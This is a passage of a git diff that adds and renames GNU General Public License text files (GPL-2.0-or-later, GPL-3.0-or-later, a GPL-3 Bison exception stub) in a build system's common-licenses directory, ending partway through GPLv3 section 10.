+END OF TERMS AND CONDITIONS
+
+Appendix: How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to humanity, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and a brief idea of what it does.>
+
+Copyright (C) 19yy <name of author>
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 1, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, write to the Free Software Foundation, Inc., 675 Mass
+Ave, Cambridge, MA 02139, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when
+it starts in an interactive mode:
+
+Gnomovision version 69, Copyright (C) 19xx name of author Gnomovision comes
+with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software,
+and you are welcome to redistribute it under certain conditions; type `show
+c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may be
+called something other than `show w' and `show c'; they could even be mouse-clicks
+or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. Here
+a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision'
+(a program to direct compilers to make passes at assemblers) written by James
+Hacker.
+
+<signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/GPL-2.0 b/meta/files/common-licenses/GPL-2.0-only
index 7f5abbce27..7f5abbce27 100644
--- a/meta/files/common-licenses/GPL-2.0
+++ b/meta/files/common-licenses/GPL-2.0-only
diff --git a/meta/files/common-licenses/GPL-2.0-or-later b/meta/files/common-licenses/GPL-2.0-or-later
new file mode 100644
index 0000000000..1d80ac3653
--- /dev/null
+++ b/meta/files/common-licenses/GPL-2.0-or-later
@@ -0,0 +1,319 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 2, June 1991
+
+Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public License is intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users. This General Public License applies to
+most of the Free Software Foundation's software and to any other program whose
+authors commit to using it. (Some other Free Software Foundation software
+is covered by the GNU Lesser General Public License instead.) You can apply
+it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish), that you receive source code or can get it if you want it, that you
+can change the software or use pieces of it in new free programs; and that
+you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or
+for a fee, you must give the recipients all the rights that you have. You
+must make sure that they, too, receive or can get the source code. And you
+must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software. If
+the software is modified by someone else and passed on, we want its recipients
+to know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We
+wish to avoid the danger that redistributors of a free program will individually
+obtain patent licenses, in effect making the program proprietary. To prevent
+this, we have made it clear that any patent must be licensed for everyone's
+free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice
+placed by the copyright holder saying it may be distributed under the terms
+of this General Public License. The "Program", below, refers to any such program
+or work, and a "work based on the Program" means either the Program or any
+derivative work under copyright law: that is to say, a work containing the
+Program or a portion of it, either verbatim or with modifications and/or translated
+into another language. (Hereinafter, translation is included without limitation
+in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running the Program
+is not restricted, and the output from the Program is covered only if its
+contents constitute a work based on the Program (independent of having been
+made by running the Program). Whether that is true depends on what the Program
+does.
+
+1. You may copy and distribute verbatim copies of the Program's source code
+as you receive it, in any medium, provided that you conspicuously and appropriately
+publish on each copy an appropriate copyright notice and disclaimer of warranty;
+keep intact all the notices that refer to this License and to the absence
+of any warranty; and give any other recipients of the Program a copy of this
+License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it,
+thus forming a work based on the Program, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+a) You must cause the modified files to carry prominent notices stating that
+you changed the files and the date of any change.
+
+b) You must cause any work that you distribute or publish, that in whole or
+in part contains or is derived from the Program or any part thereof, to be
+licensed as a whole at no charge to all third parties under the terms of this
+License.
+
+c) If the modified program normally reads commands interactively when run,
+you must cause it, when started running for such interactive use in the most
+ordinary way, to print or display an announcement including an appropriate
+copyright notice and a notice that there is no warranty (or else, saying that
+you provide a warranty) and that users may redistribute the program under
+these conditions, and telling the user how to view a copy of this License.
+(Exception: if the Program itself is interactive but does not normally print
+such an announcement, your work based on the Program is not required to print
+an announcement.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Program, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Program, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Program.
+
+In addition, mere aggregation of another work not based on the Program with
+the Program (or with a work based on the Program) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section
+2) in object code or executable form under the terms of Sections 1 and 2 above
+provided that you also do one of the following:
+
+a) Accompany it with the complete corresponding machine-readable source code,
+which must be distributed under the terms of Sections 1 and 2 above on a medium
+customarily used for software interchange; or,
+
+b) Accompany it with a written offer, valid for at least three years, to give
+any third party, for a charge no more than your cost of physically performing
+source distribution, a complete machine-readable copy of the corresponding
+source code, to be distributed under the terms of Sections 1 and 2 above on
+a medium customarily used for software interchange; or,
+
+c) Accompany it with the information you received as to the offer to distribute
+corresponding source code. (This alternative is allowed only for noncommercial
+distribution and only if you received the program in object code or executable
+form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making
+modifications to it. For an executable work, complete source code means all
+the source code for all modules it contains, plus any associated interface
+definition files, plus the scripts used to control compilation and installation
+of the executable. However, as a special exception, the source code distributed
+need not include anything that is normally distributed (in either source or
+binary form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component itself
+accompanies the executable.
+
+If distribution of executable or object code is made by offering access to
+copy from a designated place, then offering equivalent access to copy the
+source code from the same place counts as distribution of the source code,
+even though third parties are not compelled to copy the source along with
+the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except
+as expressly provided under this License. Any attempt otherwise to copy, modify,
+sublicense or distribute the Program is void, and will automatically terminate
+your rights under this License. However, parties who have received copies,
+or rights, from you under this License will not have their licenses terminated
+so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Program or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Program
+(or any work based on the Program), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor
+to copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of
+the rights granted herein. You are not responsible for enforcing compliance
+by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Program at all. For example, if a
+patent license would not permit royalty-free redistribution of the Program
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply and
+the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system, which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Program under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+9. The Free Software Foundation may publish revised and/or new versions of
+the General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Program does not specify a version number of this License, you may choose
+any version ever published by the Free Software Foundation.
+
+10. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission. For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing and reuse
+of software generally.
+
+ NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs
+
+If you develop a new program, and you want it to be of the greatest possible
+use to the public, the best way to achieve this is to make it free software
+which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach
+them to the start of each source file to most effectively convey the exclusion
+of warranty; and each file should have at least the "copyright" line and a
+pointer to where the full notice is found.
+
+<one line to give the program's name and an idea of what it does.>
+
+Copyright (C) <yyyy> <name of author>
+
+This program is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 2 of the License, or (at your option) any later
+version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, write to the Free Software Foundation, Inc., 51 Franklin
+Street, Fifth Floor, Boston, MA 02110-1301, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this when
+it starts in an interactive mode:
+
+Gnomovision version 69, Copyright (C) year name of author Gnomovision comes
+with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software,
+and you are welcome to redistribute it under certain conditions; type `show
+c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may be
+called something other than `show w' and `show c'; they could even be mouse-clicks
+or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the program, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision'
+(which makes passes at compilers) written by James Hacker.
+
+<signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General
+Public License does not permit incorporating your program into proprietary
+programs. If your program is a subroutine library, you may consider it more
+useful to permit linking proprietary applications with the library. If this
+is what you want to do, use the GNU Lesser General Public License instead
+of this License.
diff --git a/meta/files/common-licenses/GPL-3-with-bison-exception b/meta/files/common-licenses/GPL-3-with-bison-exception
new file mode 100644
index 0000000000..d48c6241ac
--- /dev/null
+++ b/meta/files/common-licenses/GPL-3-with-bison-exception
@@ -0,0 +1,7 @@
+
+insert GPL v3 text here
+
+Bison Exception
+As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work under terms of your choice, so long as that work isn`t itself a parser generator using the skeleton or a modified version thereof as a parser skeleton. Alternatively, if you modify or redistribute the parser skeleton itself, you may (at your option) remove this special exception, which will cause the skeleton and the resulting Bison output files to be licensed under the GNU General Public License without this special exception.
+This special exception was added by the Free Software Foundation in version 2.2 of Bison.
+
diff --git a/meta/files/common-licenses/GPL-3.0 b/meta/files/common-licenses/GPL-3.0-only
index e0665a64a8..e0665a64a8 100644
--- a/meta/files/common-licenses/GPL-3.0
+++ b/meta/files/common-licenses/GPL-3.0-only
diff --git a/meta/files/common-licenses/GPL-3.0-or-later b/meta/files/common-licenses/GPL-3.0-or-later
new file mode 100644
index 0000000000..e142a525bd
--- /dev/null
+++ b/meta/files/common-licenses/GPL-3.0-or-later
@@ -0,0 +1,625 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 3, 29 June 2007
+
+Copyright © 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The GNU General Public License is a free, copyleft license for software and
+other kinds of works.
+
+The licenses for most software and other practical works are designed to take
+away your freedom to share and change the works. By contrast, the GNU General
+Public License is intended to guarantee your freedom to share and change all
+versions of a program--to make sure it remains free software for all its users.
+We, the Free Software Foundation, use the GNU General Public License for most
+of our software; it applies also to any other work released this way by its
+authors. You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for them if you wish), that
+you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs, and that you know you
+can do these things.
+
+To protect your rights, we need to prevent others from denying you these rights
+or asking you to surrender the rights. Therefore, you have certain responsibilities
+if you distribute copies of the software, or if you modify it: responsibilities
+to respect the freedom of others.
+
+For example, if you distribute copies of such a program, whether gratis or
+for a fee, you must pass on to the recipients the same freedoms that you received.
+You must make sure that they, too, receive or can get the source code. And
+you must show them these terms so they know their rights.
+
+Developers that use the GNU GPL protect your rights with two steps: (1) assert
+copyright on the software, and (2) offer you this License giving you legal
+permission to copy, distribute and/or modify it.
+
+For the developers' and authors' protection, the GPL clearly explains that
+there is no warranty for this free software. For both users' and authors'
+sake, the GPL requires that modified versions be marked as changed, so that
+their problems will not be attributed erroneously to authors of previous versions.
+
+Some devices are designed to deny users access to install or run modified
+versions of the software inside them, although the manufacturer can do so.
+This is fundamentally incompatible with the aim of protecting users' freedom
+to change the software. The systematic pattern of such abuse occurs in the
+area of products for individuals to use, which is precisely where it is most
+unacceptable. Therefore, we have designed this version of the GPL to prohibit
+the practice for those products. If such problems arise substantially in other
+domains, we stand ready to extend this provision to those domains in future
+versions of the GPL, as needed to protect the freedom of users.
+
+Finally, every program is threatened constantly by software patents. States
+should not allow patents to restrict development and use of software on general-purpose
+computers, but in those that do, we wish to avoid the special danger that
+patents applied to a free program could make it effectively proprietary. To
+prevent this, the GPL assures that patents cannot be used to render the program
+non-free.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+"Copyright" also means copyright-like laws that apply to other kinds of works,
+such as semiconductor masks.
+
+"The Program" refers to any copyrightable work licensed under this License.
+Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals
+or organizations.
+
+To "modify" a work means to copy from or adapt all or part of the work in
+a fashion requiring copyright permission, other than the making of an exact
+copy. The resulting work is called a "modified version" of the earlier work
+or a work "based on" the earlier work.
+
+A "covered work" means either the unmodified Program or a work based on the
+Program.
+
+To "propagate" a work means to do anything with it that, without permission,
+would make you directly or secondarily liable for infringement under applicable
+copyright law, except executing it on a computer or modifying a private copy.
+Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as
+well.
+
+To "convey" a work means any kind of propagation that enables other parties
+to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays "Appropriate Legal Notices" to the
+extent that it includes a convenient and prominently visible feature that
+(1) displays an appropriate copyright notice, and (2) tells the user that
+there is no warranty for the work (except to the extent that warranties are
+provided), that licensees may convey the work under this License, and how
+to view a copy of this License. If the interface presents a list of user commands
+or options, such as a menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+The "source code" for a work means the preferred form of the work for making
+modifications to it. "Object code" means any non-source form of a work.
+
+A "Standard Interface" means an interface that either is an official standard
+defined by a recognized standards body, or, in the case of interfaces specified
+for a particular programming language, one that is widely used among developers
+working in that language.
+
+The "System Libraries" of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging
+a Major Component, but which is not part of that Major Component, and (b)
+serves only to enable use of the work with that Major Component, or to implement
+a Standard Interface for which an implementation is available to the public
+in source code form. A "Major Component", in this context, means a major essential
+component (kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to produce
+the work, or an object code interpreter used to run it.
+
+The "Corresponding Source" for a work in object code form means all the source
+code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities.
+However, it does not include the work's System Libraries, or general-purpose
+tools or generally available free programs which are used unmodified in performing
+those activities but which are not part of the work. For example, Corresponding
+Source includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically linked
+subprograms that the work is specifically designed to require, such as by
+intimate data communication or control flow between those subprograms and
+other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+ The Corresponding Source for a work in source code form is that same work.
+
+ 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright
+on the Program, and are irrevocable provided the stated conditions are met.
+This License explicitly affirms your unlimited permission to run the unmodified
+Program. The output from running a covered work is covered by this License
+only if the output, given its content, constitutes a covered work. This License
+acknowledges your rights of fair use or other equivalent, as provided by copyright
+law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey
+covered works to others for the sole purpose of having them make modifications
+exclusively for you, or provide you with facilities for running those works,
+provided that you comply with the terms of this License in conveying all material
+for which you do not control copyright. Those thus making or running the covered
+works for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of your copyrighted
+material outside their relationship with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure
+under any applicable law fulfilling obligations under article 11 of the WIPO
+copyright treaty adopted on 20 December 1996, or similar laws prohibiting
+or restricting circumvention of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention
+of technological measures to the extent such circumvention is effected by
+exercising rights under this License with respect to the covered work, and
+you disclaim any intention to limit operation or modification of the work
+as a means of enforcing, against the work's users, your or third parties'
+legal rights to forbid circumvention of technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive
+it, in any medium, provided that you conspicuously and appropriately publish
+on each copy an appropriate copyright notice; keep intact all notices stating
+that this License and any non-permissive terms added in accord with section
+7 apply to the code; keep intact all notices of the absence of any warranty;
+and give all recipients a copy of this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you
+may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce
+it from the Program, in the form of source code under the terms of section
+4, provided that you also meet all of these conditions:
+
+a) The work must carry prominent notices stating that you modified it, and
+giving a relevant date.
+
+b) The work must carry prominent notices stating that it is released under
+this License and any conditions added under section 7. This requirement modifies
+the requirement in section 4 to "keep intact all notices".
+
+c) You must license the entire work, as a whole, under this License to anyone
+who comes into possession of a copy. This License will therefore apply, along
+with any applicable section 7 additional terms, to the whole of the work,
+and all its parts, regardless of how they are packaged. This License gives
+no permission to license the work in any other way, but it does not invalidate
+such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display Appropriate
+Legal Notices; however, if the Program has interactive interfaces that do
+not display Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works,
+which are not by their nature extensions of the covered work, and which are
+not combined with it such as to form a larger program, in or on a volume of
+a storage or distribution medium, is called an "aggregate" if the compilation
+and its resulting copyright are not used to limit the access or legal rights
+of the compilation's users beyond what the individual works permit. Inclusion
+of a covered work in an aggregate does not cause this License to apply to
+the other parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections
+4 and 5, provided that you also convey the machine-readable Corresponding
+Source under the terms of this License, in one of these ways:
+
+a) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by the Corresponding Source fixed
+on a durable physical medium customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product (including
+a physical distribution medium), accompanied by a written offer, valid for
+at least three years and valid for as long as you offer spare parts or customer
+support for that product model, to give anyone who possesses the object code
+either (1) a copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical medium customarily
+used for software interchange, for a price no more than your reasonable cost
+of physically performing this conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the written
+offer to provide the Corresponding Source. This alternative is allowed only
+occasionally and noncommercially, and only if you received the object code
+with such an offer, in accord with subsection 6b.
+
+d) Convey the object code by offering access from a designated place (gratis
+or for a charge), and offer equivalent access to the Corresponding Source
+in the same way through the same place at no further charge. You need not
+require recipients to copy the Corresponding Source along with the object
+code. If the place to copy the object code is a network server, the Corresponding
+Source may be on a different server (operated by you or a third party) that
+supports equivalent copying facilities, provided you maintain clear directions
+next to the object code saying where to find the Corresponding Source. Regardless
+of what server hosts the Corresponding Source, you remain obligated to ensure
+that it is available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are
+being offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from
+the Corresponding Source as a System Library, need not be included in conveying
+the object code work.
+
+A "User Product" is either (1) a "consumer product", which means any tangible
+personal property which is normally used for personal, family, or household
+purposes, or (2) anything designed or sold for incorporation into a dwelling.
+In determining whether a product is a consumer product, doubtful cases shall
+be resolved in favor of coverage. For a particular product received by a particular
+user, "normally used" refers to a typical or common use of that class of product,
+regardless of the status of the particular user or of the way in which the
+particular user actually uses, or expects or is expected to use, the product.
+A product is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent the
+only significant mode of use of the product.
+
+"Installation Information" for a User Product means any methods, procedures,
+authorization keys, or other information required to install and execute modified
+versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the
+continued functioning of the modified object code is in no case prevented
+or interfered with solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically
+for use in, a User Product, and the conveying occurs as part of a transaction
+in which the right of possession and use of the User Product is transferred
+to the recipient in perpetuity or for a fixed term (regardless of how the
+transaction is characterized), the Corresponding Source conveyed under this
+section must be accompanied by the Installation Information. But this requirement
+does not apply if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has been installed
+in ROM).
+
+The requirement to provide Installation Information does not include a requirement
+to continue to provide support service, warranty, or updates for a work that
+has been modified or installed by the recipient, or for the User Product in
+which it has been modified or installed. Access to a network may be denied
+when the modification itself materially and adversely affects the operation
+of the network or violates the rules and protocols for communication across
+the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord
+with this section must be in a format that is publicly documented (and with
+an implementation available to the public in source code form), and must require
+no special password or key for unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+"Additional permissions" are terms that supplement the terms of this License
+by making exceptions from one or more of its conditions. Additional permissions
+that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part
+may be used separately under those permissions, but the entire Program remains
+governed by this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when
+you modify the work.) You may place additional permissions on material, added
+by you to a covered work, for which you have or can give appropriate copyright
+permission.
+
+Notwithstanding any other provision of this License, for material you add
+to a covered work, you may (if authorized by the copyright holders of that
+material) supplement the terms of this License with terms:
+
+a) Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed
+by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or requiring
+that modified versions of such material be marked in reasonable ways as different
+from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or authors
+of the material; or
+
+e) Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that material by
+anyone who conveys the material (or modified versions of it) with contractual
+assumptions of liability to the recipient, for any liability that these contractual
+assumptions directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered "further restrictions"
+within the meaning of section 10. If the Program as you received it, or any
+part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term.
+If a license document contains a further restriction but permits relicensing
+or conveying under this License, you may add to a covered work material governed
+by the terms of that license document, provided that the further restriction
+does not survive such relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place,
+in the relevant source files, a statement of the additional terms that apply
+to those files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form
+of a separately written license, or stated as exceptions; the above requirements
+apply either way.
+
+ 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided
+under this License. Any attempt otherwise to propagate or modify it is void,
+and will automatically terminate your rights under this License (including
+any patent licenses granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from
+a particular copyright holder is reinstated (a) provisionally, unless and
+until the copyright holder explicitly and finally terminates your license,
+and (b) permanently, if the copyright holder fails to notify you of the violation
+by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means,
+this is the first time you have received notice of violation of this License
+(for any work) from that copyright holder, and you cure the violation prior
+to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses
+of parties who have received copies or rights from you under this License.
+If your rights have been terminated and not permanently reinstated, you do
+not qualify to receive new licenses for the same material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy
+of the Program. Ancillary propagation of a covered work occurring solely as
+a consequence of using peer-to-peer transmission to receive a copy likewise
+does not require acceptance. However, nothing other than this License grants
+you permission to propagate or modify any covered work. These actions infringe
+copyright if you do not accept this License. Therefore, by modifying or propagating
+a covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives
+a license from the original licensors, to run, modify and propagate that work,
+subject to this License. You are not responsible for enforcing compliance
+by third parties with this License.
+
+An "entity transaction" is a transaction transferring control of an organization,
+or substantially all assets of one, or subdividing an organization, or merging
+organizations. If propagation of a covered work results from an entity transaction,
